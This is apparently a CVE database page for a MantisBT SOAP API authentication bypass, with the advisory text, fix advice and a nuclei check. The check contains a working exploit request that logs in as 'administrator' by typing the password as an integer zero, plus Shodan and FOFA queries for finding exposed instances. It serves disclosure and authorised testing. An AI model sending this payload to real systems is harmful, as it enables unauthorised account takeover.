Browse / CVEs / CVE-2026-30849
CVE-2026-30849· mantisbt / mantisbt· CWE-843
MantisBT < 2.28.1 - SOAP API Authentication Bypass
criticalseverity
9.3CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it
Mantis Bug Tracker < 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username.
Impact
Attackers can bypass authentication to access victim accounts and execute API functions, potentially compromising user data and system integrity.
Fix
Upgrade to version 2.28.1 or later; disabling the SOAP API reduces risk.
How to confirm it
Send: POST /api/soap/mantisconnect.php
Positive when: status_code == 200 and contains_all(body, "mc_loginResponse", "access_level")Run it with nuclei: nuclei -id CVE-2026-30849 -u <target>
The full check
id: CVE-2026-30849
info:
name: MantisBT < 2.28.1 - SOAP API Authentication Bypass
author: str4k3r
severity: critical
description: |
Mantis Bug Tracker < 2.28.1 on MySQL databases contains an authentication bypass caused by improper type checking on the password parameter in the SOAP API, letting attackers login without the actual password using a crafted SOAP envelope, exploit requires knowing the victim's username.
impact: |
Attackers can bypass authentication to access victim accounts and execute API functions, potentially compromising user data and system integrity.
remediation: |
Upgrade to version 2.28.1 or later; disabling the SOAP API reduces risk.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-30849
- https://github.com/mantisbt/mantisbt/security/advisories/GHSA-phrq-pc6r-f6gh
- https://mantisbt.org/bugs/view.php?id=36902
classification:
cve-id: CVE-2026-30849
epss-score: 0.01799
epss-percentile: 0.78662
cwe-id: CWE-843
cvss-score: 9.3
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
metadata:
verified: true
max-request: 1
vendor: mantisbt
product: mantisbt
shodan-query: http.title:"MantisBT"
fofa-query: title="MantisBT"
tags: cve,cve2026,mantisbt,soap,auth-bypass,type-confusion,mysql,unauth
http:
- raw:
- |
POST /api/soap/mantisconnect.php HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_login"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns1:mc_login xmlns:ns1="http://futureware.biz/mantisconnect" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<username xsi:type="xsd:string">administrator</username>
<password xsi:type="xsd:int">0</password>
</ns1:mc_login>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "mc_loginResponse", "access_level")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2026-30849
- https://github.com/mantisbt/mantisbt/security/advisories/GHSA-phrq-pc6r-f6gh
- https://mantisbt.org/bugs/view.php?id=36902
Use this check only on systems you are authorised to test. Where the data comes from